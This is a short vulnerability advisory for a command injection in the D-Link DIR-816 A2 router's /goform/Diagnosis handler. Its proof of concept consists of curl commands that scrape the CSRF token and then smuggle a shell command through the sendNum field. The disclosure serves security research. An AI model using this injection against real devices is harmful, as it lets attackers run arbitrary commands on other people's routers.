cmd_injection_1

D-Link DIR-816 A2 Command Injection

Vender ：D-Link

Firmware version:1.10 B05

Exploit Author: nabla@galaxylab.org

Vendor Homepage: http://www.dlink.com.cn/

Hardware Link:http://support.dlink.com.cn/ProductInfo.aspx?m=DIR-816

Vul detail

In the handler of route /goform/Diagnosis, the value of parameter sendNum is used in the construction of command ping -c %s ..., which is later fed to system:

So it could lead to command injection with crafted request.

POC

There's a random token required by the route, which is used as a mitigation against CSRF. So first we need to get its value:

TOKENID=`curl -s http://192.168.0.1/dir_login.asp | grep tokenid | head -1 | grep -o 'value="[0-9]*"' | cut -f 2 -d = | tr -d '"'`

Then we could send the crafted parameter along with the token to the route:

curl -i -X POST http://192.168.0.1/goform/Diagnosis -d tokenid=$TOKENID -d 'pingAddr=192.168.0.1' -d 'sendNum=3;touch /tmp/test;'